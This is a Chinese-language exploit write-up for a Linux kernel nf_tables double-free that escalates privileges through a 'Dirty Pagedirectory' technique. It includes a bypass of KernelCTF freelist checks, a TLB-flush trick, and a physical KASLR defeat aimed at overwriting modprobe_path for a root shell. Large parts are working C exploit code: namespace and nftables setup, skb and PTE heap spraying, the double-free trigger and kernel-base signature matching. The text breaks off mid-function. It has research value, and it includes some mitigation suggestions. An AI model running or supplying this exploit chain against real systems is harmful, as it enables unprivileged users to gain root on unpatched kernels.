目标是控制skb的寿命。内核提供了用户接口来配置IP分片队列的超时时间——/proc/sys/net/ipv4/ipfrag_time。这是每个网络命名空间特定的,因此非特权用户也可以设置。在使用IP分片重组IP包时,内核会等待ipfrag_time秒,如果将ipfrag_time设置为999999秒,skb分片就会存活999999秒;如果想快速分配和释放skb,就可以将其设置为1秒。

// 修改`ipfrag_time` —— 控制IP分片重组时的等待时间
static void set_ipfrag_time(unsigned int seconds)
{
	int fd;
	
	fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
	if (fd < 0) {
		perror("open$ipfrag_time");
		exit(1);
	}

	dprintf(fd, "%u\n", seconds);
	close(fd);
}

4-4. 绕过 KernelCTF skb 损坏检查

问题:KernelCTF会检查freelist是否损坏,特别是检查正在分配的对象中freelist的下一个ptr是否损坏。由于skbuff_head_cache->offset == 0x70,所以freelist next ptr和skb->len重叠了。这意味着next/previous freelist条目指针存储在sk_buff+0x70。内核开发者将s->offset设置在slab中间位置是为了避免OOB漏洞覆写freelist指针(避免轻松提权)。

在第1次释放skb后,skb->len会被next ptr覆写,而在第2次释放skb之前,解析数据包时会修改skb->len,破坏了freelist next ptr。

分配时freelist损坏检测:这时,如果想调用slab_alloc_node()分配第1次释放的skb的freelist条目,freelist_ptr_decode()函数会将该空闲对象的freelist next ptr标记为损坏,导致分配出错。KernelCTF中的freelist_pointer_corrupted()函数如下所示:

static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
	void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
	/*
	 * If the freepointer decodes to 0, use 0 as the slab_base so that
	 * the check below always passes (0 & slab->align_mask == 0).
	 */
	unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;

	/*
	 * This verifies that the SLUB freepointer does not point outside the
	 * slab. Since at that point we can basically do it for free, it also
	 * checks that the pointer alignment looks vaguely sane.
	 * However, we probably don't want the cost of a proper division here,
	 * so instead we just do a cheap check whether the bottom bits that are
	 * clear in the size are also clear in the pointer.
	 * So for kmalloc-32, it does a perfect alignment check, but for
	 * kmalloc-192, it just checks that the pointer is a multiple of 32.
	 * This should probably be reconsidered - is this a good tradeoff, or
	 * should that part be thrown out, or do we want a proper accurate
	 * alignment check (and can we make it work with acceptable performance
	 * cost compared to the security improvement - probably not)?
	 */
	return CHECK_DATA_CORRUPTION(
		((unsigned long)decoded & slab->align_mask) != slab_base,
		"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
		ptr.v, decoded, slab_base, slab->align_mask);
#else
	return false;
#endif
}

解决分配问题:作者发现,该检查不会追溯。当释放具有损坏freelist条目的对象之上的对象时,该机制不会检查前一个对象的next ptr是否损坏。所以可通过释放其后的另一个skb(大小不同)来屏蔽上一个错误的next ptr,再次分配该skb(跟旧的skb数据一样)。这样就掩盖了原始的损坏的skb,同时仍能够两次分配该skb。

绕过kernelCTF中freelist损坏检测的原理如下图所示:

12-bypass_freelist_corruption-2

修复建议:KernelCTF 开发人员可以在释放时也检查freelist head next ptr是否损坏(不仅仅是在分配时)。

4-5. 脏页目录

4-5-1. 思路

问题:作者受到脏页表的启发,但是本文面对的漏洞是skb的Double-Free,无法稳定多次篡改PTE(脏页表一文中可以利用位于kmalloc-128的signalfd_ctx对象来稳定篡改PTE)。作者找不到一个页大小的堆喷对象,能够布置用户数据且和PTE页位于同一freelist。为了稳定性和通用性,作者也不能采用Cross-cache Attack。

利用思路1:考虑到可以在PTE相同的freelist中构造Double-Free,如果可以跨进程二次分配PTE,例如sudo和EXP之间,就能在两个不相干的进程间构造内存共享(将EXP的虚拟地址指向sudo的物理地址)。这样就能读写root进程的应用数据,来获得root shell。由于进程启动时会分配各种内存,这要求能精确管理freelist上的位置,所以很难实现本方法。

那如果能使PTE页和PMD页重叠会怎样?这样PMD会将PTE页解引用为PMD页,并将PTE的用户态页解析为PTE页。

有效性:事实证明,PMD+PTE 方法有效。PUD+PMD方法也是有效的,PGD+PUD可能有效。唯一的区别是模拟镜像的页数量:PTE+PMD需要1G的页,PUD+PMD需要512G的页,PGD+PUD需要256T的页。注意,这可能影响内存的使用,系统可能会因镜像内存过多而出现OOM(内存耗尽)。

方法选择:在 PMD+PTE 和 PUD+PMD 方法之间进行选择时,需要考虑 Dirty Pagedirectory 的集成。总的来说,PMD+PTE是最佳选择。

4-5-2. 技术介绍

脏页目录技术能够对物理内存进行无限制、稳定的读写。还能通过设置权限flag来绕过权限检查,这样就能写入只读页面,例如覆写modprobe_path。本节以 PUD+PMD方法来阐释原理,POC中采用的是PMD+PTE策略。

总体思路:利用Double-Free等漏洞将PUD和PMD分配到同一地址。VMA应该是独立的,以避免冲突(即不要在 PUD 区域内分配 PMD)。然后,向PMD页写入地址,并读取PUD相应页的地址。脏页目录技术的层次结构如下图所示,包括所需的内存操作:

13-dirtypagedirectory

构造重叠PUD/PMD:假设modprobe_path变量存储在PFN/物理地址0xCAFE1460的页中。采用脏页目录技术:通过mmap两次分配PUD页和PMD页,其中对应的用户态VMA范围是0x8000000000 - 0x10000000000( mm->pgd[1]-PUD) 和0x40000000 - 0x80000000( mm->pgd[0][1]-PMD)。

这表示mm->pgd[1][x][y]总是等于mm->pgd[0][1][x][y],因为当我们两次分配它时,mm->pgd[1]mm->pgd[0][1]都指向地址/对象。mm->pgd[0][1][x][y]表示一个用户态页,mm->pgd[1][x][y]表示的是PTE。这意味着PUD会把PMD的用户页解释成PTE页(可通过写用户态页来伪造PTE物理地址,这样就能通过PUD实现任意物理地址了)。

伪造PTE值构造任意读:例如,为了读取物理页地址0xCAFE1460,我们通过0x80000000CAFE1867(加上了PTE flag)写入0x40000000(也即物理页@mm->pgd[0][1][0][0]+0x0对应的用户态地址,也就是PUD区域第1个PTE条目)。由于有重叠,这意味着我们将该值写到了页面为@mm->pgd[1][0][0]+0x0的PTE地址,因为mm->pgd[1][0][0] == mm->pgd[0][1][0][0]。现在,我们可以通过读取页mm->pgd[1][0][0][0](最后一个索引0,因为我们将其写入到了PTE前8个字节,以上的0x0)来从伪造的PTE物理地址读取(直接从用户页 0x8000000000读取即可)。

刷新TLB再读写:由于是从用户空间修改的PTE,所以需要刷新TLB,因为TLB包含过时的地址记录。TLB刷新之后,printf('%s', 0x8000000460);就能打印/sbin/modprobemodprobe_path。然后通过strcpy((char*)0x8000000460, "/tmp/privesc.sh"); 来覆写modprobe_path(注意有KMOD_PATH_LEN字节的填充)并获得shell。这里不需要刷新TLB,因为写入时没有修改TLB。

注意这个过程,如何在PTE值0x80000000CAFE1867中设置R/W flag。虚拟地址0x8000000460中的0x8和PTE值0x80000000CAFE1867中的0x8不相关:PTE值中表示打开的flag,而虚拟地址只是恰好以0x8开头。

总结以上过程:将PTE值写入VMA范围0x40000000 - 0x80000000内的用户态页,并通过读写VMA范围0x8000000000 - 0x10000000000中相应的用户态页,来解引用该PTE值,进行任意物理地址读写。

4-5-3. 缓解机制

该利用技术能绕过当前内核中的缓解机制,包括KASLR/KPTI/SMAP/SMEP/CONFIG_STATIC_USERMODEHELPER

为什么能绕过SMAP?因为SMAP只适用于虚拟地址,不适用于物理内存地址。PTE在PMD中是通过其物理地址进行引用的,这意味着当PMD中的PTE条目是用户态页时,SMAP无法检测到,因为其不是虚拟地址。因此,PUD区域可以使用用户态页作为PTE。

防护设置表条目类型,防止混用。例如,为 PTE 设置类型 0,为 PMD 设置类型 1,为 PUD 设置类型 2,为 P4D 设置类型 3,为 PGD 设置类型 4。这样每个表条目需要2log(levels)位来存储类型标志位(如果开启P4D五级页表则需要3bit来存类型值,因为level=5),增大了存储空间,且引入了检查开销,访问每一级都需要检查内存。但是,本机制仍允许内存共享(也即,使sudo和EXP的PTE页面重叠,sudo以root权限运行)。

4-6. 堆喷页表

注意,本节以PUD+PMD为例来讲脏页目录的原理,但EXP中采用的是PMD+PTE方法,因为EXP是通过耗尽PCP list将PTE分配在二次释放的地址。

堆喷方法:首先,页表是由内核按需分配的,如果我们只是通过mmap映射了虚拟内存区域,不会发生分配。只有对该VMA进行读写时,才会为访问的页分配页表。注意,当分配PUD时,会分配PMD、PTE和用户空间页;当分配PTE时,会分配用户空间页。Dirty Pagetable原文提到,可通过先分配其父级页表来分配特定级的页表,因为父页表(PMD)包含512个子页表(PTE)。例如,如果想喷射4096个PTE,则需要预先分配4096/512 = 8个PMD。

为什么选PMD+PTE?如果我们喷射PMD,会同时分配PTE(从同一freelist),这样50%是PMD,50%是PTE。如果我们喷射PUD,则会是 33% PUD、33% PMD 和 33% PTE。因此,如果我们喷射PTE,则100%是PTE。因此我们选取PMD+PTE,而不是 PUD+PMD,喷射PMD会使稳定性降低50%。注意,用户态页是从不同的freelist分配来的(migratetype 0,而不是 migratetype 1)。

4-7. TLB刷新

TLB刷新:目的是删除或使TLB中所有条目(虚拟地址到物理地址的缓存)无效。TLB刷新技术需满足以下要求:

  • 不修改现有进程页表
  • 必须100%有效
  • 速度快
  • 可以从用户态触发
  • 不受PCID影响

方法:在分配PMD和PTE时,需将其标记为shared,然后fork()进程,子进程调用munmap()进行刷新,接着进入睡眠(避免EXP不稳定导致崩溃)。代码如下(用于刷新特定虚拟内存范围的 TLB):

static void flush_tlb(void *addr, size_t len)
{
	short *status;

	status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	
	*status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len); 							// mmap时标记为shared,在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新
		*status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}

	SPINLOCK(*status == FLUSH_STAT_INPROGRESS); 	// 锁机制防止parent在child刷新TLB之前继续执行。如果子进程直接exit(而非sleep),则不需要加锁,因为parent可以监视子进程状态。

	munmap(status, sizeof(short));
}

这种方法在刷新页表和页目录方面的成功率达到100%。它已在最新的 AMD CPU 和 QEMU VM 上进行了测试。这种刷新方法不依赖硬件,因为在此用例中必须从内核触发刷新。

4-8. 绕过物理 KASLR

机制:Physical KASLR是对物理地址进行随机化。通常,之前的漏洞利用都使用的是虚拟内存(所以只需绕过虚拟KASLR)。但由于本文方法采用的是脏页目录,需要对内存的物理地址进行读写,所以需绕过物理KASLR。

(1)获取物理基址

物理内存:通常,需要暴破整个物理内存范围才能找到目标物理地址。物理内存是指所有可用的物理内存地址,例如,笔记本上16G RAM + 1G内置MMIO=17G物理内存。

物理基址对齐:如果设置了CONFIG_RELOCATABLE=y,Linux内核的物理基址必须和CONFIG_PHYSICAL_START0x100'0000,也即 16MiB)字节对齐。如果CONFIG_RELOCATABLE=n,则物理基址就是CONFIG_PHYSICAL_START。我们假设设置了CONFIG_RELOCATABLE=y,需要暴破物理基址。

注意,如果设置了CONFIG_PHYSICAL_ALIGN,物理基址就会和CONFIG_PHYSICAL_ALIGN对齐(而非CONFIG_PHYSICAL_START)。CONFIG_PHYSICAL_ALIGN值通常较小,例如0x20'0000 2MiB,这意味着需要暴破更多地址(8倍)。

本测试环境v6.3.13中,CONFIG_RELOCATABLE=y / CONFIG_PHYSICAL_START == CONFIG_PHYSICAL_ALIGN == 0x1000000

暴破物理基址:假设目标设备有8G物理内存,这样可将搜索量减少到8GiB / 16MiB = 512,只需检查512个地址的第一个页的前几字节(指纹),就知道是否为内核基址。脏页目录允许我们对整个页面进行无限读写,因此能读取每个物理页的4096字节,并且能覆写每个PTE的512个页地址。如果我们的机器有8G内存,只需一次覆写PTE(伪造512个物理地址)就能找到物理基址。

为了正确识别这512个物理地址中哪一个含有内核基址,作者编写了get-sig Python脚本来生成大量的memcmp条件语句,寻找不同内核的共有字节。

(2)获取target物理地址

搜索方法:当我们找到物理基址后,可以使用基于物理内核基址的硬编码偏移,来找到我们需要读写的target地址;也可以根据target的数据模式来扫描 ~80MiB 物理内存。如果系统内存为8G,数据扫描技术需要覆写1 + 80MiB/2MiB ~= 40的PTE。如果我们可以访问脏页目录,并且target数据的格式是唯一的(例如modprobe_path),则数据模式扫描方法更好,跨内核版本的兼容性更好。

注意,~80MiB是估计值,实际可能更少,因为target可能位于固定偏移的内存中。例如,内核代码可能位于基址的+0x0偏移处,内核数据可能总是位于+0x1000000,如果要搜索modprobe_path,可以直接从+0x1000000开始,不过这一点没有经过测试。

5. 漏洞利用

5-1. 执行

总体利用流程如下图所示:

14-gameplanv2-5

5-1-1. 环境设置

(1)命名空间

Debian和Ubuntu默认开启了用户命名空间。检查用户命名空间是否开启的命令如下,为1则表示已启用:

$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

创建用户和network命名空间的代码如下:

static void do_unshare()
{
    int retv;

    printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
    
	// do unshare seperately to make debugging easier
    retv = unshare(CLONE_NEWUSER);
	if (retv == -1) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    printf("[*] creating network namespace (CLONE_NEWNET)...\n");

    retv = unshare(CLONE_NEWNET);
    if (retv == -1)
	{
		perror("unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}
}

之后,通过设置UID/GID映射来给我们的命名空间赋予root访问权限,代码如下:

static void configure_uid_map(uid_t old_uid, gid_t old_gid)
{
    char uid_map[128];
    char gid_map[128];

    printf("[*] setting up UID namespace...\n");
    
    sprintf(uid_map, "0 %d 1\n", old_uid); 
    sprintf(gid_map, "0 %d 1\n", old_gid);

    // write the uid/gid mappings. setgroups = "deny" to prevent permission error 
    PRINTF_VERBOSE("[*] mapping uid %d to namespace uid 0...\n", old_uid);
    write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);

    PRINTF_VERBOSE("[*] denying namespace rights to set user groups...\n");
    write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);

    PRINTF_VERBOSE("[*] mapping gid %d to namespace gid 0...\n", old_gid);
	write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);

#if CONFIG_VERBOSE_
    // perform sanity check
    // debug-only since it may be confusing for users
	system("id");
#endif
}
(2)Nftables

为了触发漏洞,我们需使用恶意的verdict值来设置 hook/rule。代码如下:

// add_set_verdict() —— 添加immediate指令,设置恶意的verdict值
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
	struct nftnl_expr *e;

	e = nftnl_expr_alloc("immediate");
	if (e == NULL) {
		perror("expr immediate");
		exit(EXIT_FAILURE);
	}

	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);

	nftnl_rule_add_expr(r, e);
}
(3)预分配

漏洞利用之前,需预分配一些对象防止分配噪声,避免利用失败。注意,CONFIG_SEC_BEFORE_STORM会等待后台所有的分配完成,以防跨CPU发生分配。这样会减慢漏洞利用速度(1s -> 11s),但是在存在大量噪声的系统上能提高漏洞利用的稳定性。有趣的是,在没有任何工作负载的系统(例如kernelCTF image)上,没有sleep的情况下,成功率提升了(93% -> 99,4%,n=1000)。预分配代码如下:

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
	unsigned long long *pte_area;
	void *_pmd_area;
	void *pmd_kernel_area;
	void *pmd_data_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD, 
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 70, 			// 协议号为70,才能触发 nftables rule
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
// 0. initialize
	get_modprobe_path(modprobe_path, KMOD_PATH_LEN); // 读取 modprobe_path 的默认路径

	printf("[+] running normal privesc\n");

    PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

	pin_cpu(0);

// 0-1. 预分配一个PUD,便于之后分配重叠的PMD
	mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;

// 0-2. 提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册16000/512个PMD页)
	// 注意,有大小限制,因为注册VMA很耗内存
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
	{
		void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

		if (retv == MAP_FAILED)
		{
			perror("mmap");
			exit(EXIT_FAILURE);
		}
	}

// 0-3. 预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页
	// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
		*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
	
// 0-4. 预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目  2*512*4096 = 0x400000
	_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	pmd_kernel_area = _pmd_area;
	pmd_data_area = _pmd_area + 0x200000;

	PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pte_area: ?\n  - _pmd_area: %p\n  - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);
// 0-5. 创建5个socket: ip/udp client/udp server/tcp client/tcp server
	populate_sockets();

	set_ipfrag_time(1);

	// cause socket/networking-related objects to be allocated
	df_ip_header.ip_id = 0x1336;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
	df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
	alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

	set_ipfrag_time(9999);

	printf("[*] waiting for the calm before the storm...\n");
	sleep(CONFIG_SEC_BEFORE_STORM);

    // ... (rest of the exploit)
}

5-1-2. Double-Free

触发Double-Free需要用到IPv4网络代码和页分配器。触发Double-Free后,下一节才能使用脏页目录对任意物理内存页进行任意、无限读写。

(1)分配skb(干净的skb避免崩溃,udp包)

目的:在构造Double-Free之前分配一个干净的skb(在两次free之间释放本skb,以避免检测)。

方法发送UDP包,EXP将UDP包发送到其自身的UDP listener socket,在UDP listener调用recv()接收包之前,skb会保留在内存中。

// 发送UDP包
void send_ipv4_udp(const char* buf, size_t buflen)
{
    struct sockaddr_in dst_addr = {
		.sin_family = AF_INET,
        .sin_port = htons(45173),
		.sin_addr.s_addr = inet_addr("127.0.0.1")
	};

	sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}

static void alloc_ipv4_udp(size_t content_size)
{
	PRINTF_VERBOSE("[*] sending udp packet...\n");
	memset(intermed_buf, '\x00', content_size);
	send_ipv4_udp(intermed_buf, content_size);
}
// privesc_flh_bypass_no_time() —— 分配N个UDP数据包来喷射sk_buff对象,供之后释放使用
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (setup code)

// 1. 触发Double-Free,构造重叠的PMD页和PTE页
// 1-1. 分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃
	for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
	{
		PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
		alloc_ipv4_udp(1);
	}

    // ... (rest of the exploit)
}
(2)Double-Free-第1次释放

方法发送IP数据包,触发之前设置的nftables rule。可以采用任意协议但不能包含TCP/UDP,因为TCP/UDP会被传到对应的TCP/UDP handler代码,由于数据损坏导致内核崩溃。

skb构造:注意,IP头中的IP_MF标志(0x2000),表示skb进入IP分片队列,稍后可通过发送第2个IP分片来释放skb。skb的大小决定了Double-Free对象的大小,如果分配的数据包内容为0字节,则skb对象位于 kmalloc-256,如果分配超过32768(0x8000)字节内容,就会从order-4(16个页)的伙伴系统来分配。以下代码负责组合IP数据包、计算校验和并发送数据包:

static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_ip_sockfd;

void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
	size_t ip_buflen = sizeof(struct ip) + buflen;
    struct sockaddr_in dst_addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr =  inet_addr("127.0.0.2")  // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
	};

    memcpy(intermed_buf, ip_header, sizeof(*ip_header));
	memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);

	// checksum needds to be 0 before
	((struct ip*)intermed_buf)->ip_sum = 0;
	((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));

	PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);

	sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}

发送原始IP数据包,并触发之前设置的 nf_tables rule(满足两个条件就会触发,包内容为\x41 且 协议号protocol字段为70):

static char intermed_buf[1 << 19];

static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
	memset(intermed_buf, chr, dfsize);
	send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}

static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
	printf("[*] sending double free buffer packet...\n");
	send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (skb spray)

// 1-2. 1st Double-Free skb (SOCK_RAW ip包,避免二次释放时崩溃),触发nftables rule释放skb
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // IP_MF=0x2000 分片第1个包 wait for other fragments. 8 >> 3 to make it wait or so?
	trigger_double_free_hdr(32768 + 8, &df_ip_header);

    // ... (rest of the exploit)
}
(3)绕过double-free检查

目的:通过释放之前分配的UDP数据包(sk_buff对象),来避免Double-Free的检测并提高exploit的稳定性。

// recv_ipv4_udp() —— 接收UDP数据包
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_udp_server_sockfd;

void recv_ipv4_udp(int content_len)
{
    PRINTF_VERBOSE("[*] doing udp recv...\n");
    recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);

	PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
// privesc_flh_bypass_no_time() —— 释放之前堆喷的所有sk_buff对象(udp包)
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (trigger doublefree)

// 1-3. 释放170个skb到freelist,避免Double-Free检测导致崩溃
	for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
	{
		PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
		recv_ipv4_udp(1);
	}

    // ... (rest of the exploit)
}
(4)堆喷PTE

堆喷PTE方法:直接写之前注册的VMA中的虚拟内存页,即可堆喷PTE。注意,一个PTE页包含512个页,也即0x20'0000字节(512*4096)。因此,我们每隔0x20'0000字节访问一次,总共访问CONFIG_PTE_SPRAY_AMOUNT次,即可堆喷16000个PTE页。

实现页表索引转化为虚拟地址:根据页表索引值恢复其虚拟地址,实现为PTI_TO_VIRT宏。即mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr]对应的虚拟内存页是PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0),例如,mm->pgd[1][0][0][0]对应虚拟内存页0x80'0000'0000

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
	((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
	_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))


static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (spray-free skb's)

// 1-4. 堆喷16000个PTE页,耗尽PCP order-0 list
	printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++) 		// 堆喷 PTE
		*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
     
    // ... (rest of the exploit)
}
(5)触发Double-Free-第2次释放

目标:我们之前耗尽了PCP list,并在第1次释放漏洞对象后喷射了很多PTE。现在进行第2次释放,并分配重叠的PMD

需精心构造IP头,来规避IPv4分片队列代码中的某些检查。具体参见第2或4章节。

// privesc_flh_bypass_no_time() —— 触发第2次释放
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (spray-alloc PTEs)

	PRINTF_VERBOSE("[*] double-freeing skb...\n");

// 1-5. 2nd Double-Free skb (包长度应该为16,但这里设置为0,触发错误来释放skb)
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
	
	// set_freepointer()函数会将 skb1->len 覆写为 s->random(),需用一定技巧来释放队列,避免访问skb1->len
	// 使得ip_frag_queue()中的 end == offset, 这样就会清空packet(立刻释放,不会产生sleep)
	alloc_intermed_buf_hdr(0, &df_ip_header);

    // ... (rest of the exploit)
}
(6)堆喷PMD

方法:通过写入用户态页来分配重叠的PMD页。

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (free 2 of skb)

// 1-6. 分配重叠的PMD页。PMD[0]/PMD[1]会覆写PTE[0]/PTE[1]
	*(unsigned long long*)_pmd_area = 0xCAFEBABE;

    // ... (rest of the exploit)
}
(7)寻找重叠的PTE

目的:现在某处有重叠的PMD和PTE,需找出哪一个PTE是重叠的。本质上只需检查该值是否为原始值,否的话则表示被覆写。

原理:堆喷PMD后,某个PTE页被PMD覆写了,读取原先堆喷PTE时对应的虚拟内存,如果和初始化值不相等,则说明其PTE值被篡改了。

以防要进行手动检查,我们还会向用户打印物理地址0x0,该地址通常属于MMIO设备。

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (分配重叠的PMD页)

	printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);

// 1-7. 找到重叠的PTE页对应的用户虚拟地址-pte_area
	pte_area = NULL;
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
	{
		unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0); 	// 遍历PTE页,检查是否有PTE条目被篡改

		// 如果PTE页和PMD页重叠,则PTE条目pte[0]就会被覆写为&_pmd_area区域中的 `PFN+flags`,而不是 0x41
		if (*test_target_addr != 0x41)
		{
			printf("[+] confirmed double alloc PMD/PTE\n");
			PRINTF_VERBOSE("    - PTE area index: %lld\n", i);
			PRINTF_VERBOSE("    - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
			pte_area = test_target_addr;
		}
	}

	if (pte_area == NULL)
	{
		printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);

		return;
	}

    // 设置新的pte值,以备sanity check
	*pte_area = 0x0 | 0x8000000000000867;

	flush_tlb(_pmd_area, 0x400000);
	PRINTF_VERBOSE("    - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);

    // (rest of the exploit)
}

5-1-3. 扫描物理内存

目的:设置好PUD和PMD后,就可以利用脏页目录:从用户态发起内核空间镜像攻击(KSMA)。现在我们可以将物理地址写入PTE条目中,然后在PMD区域中当作普通内存页来解引用。本节我们将先获取物理内核基址,并以可读/可写权限来访问modprobe_path内核变量。

(1)查找内核物理基地址

分析:用上述方法来绕过物理KASLR。假设物理内存有8G,则需要扫描的内存从8G降到2M的内存页,每个页只需读取约40字节(指纹)即可确定是否为内核基址,因此最坏情况下需读取 512*40=20480字节才能找到内核基址。

方法:为了确定某页是否为内核基址,作者编写了get-sigPython脚本,本质是比较特征字节,还可以扩展到其他内核(其他编译器和旧版内核)。

// 通过比较签名来判断是否为内核基址
static int is_kernel_base(unsigned char *addr)
{
	// thanks python
	
	// get-sig kernel_runtime_1
	if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
			memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
		return 1;

	// get-sig kernel_runtime_2
	if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
			memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
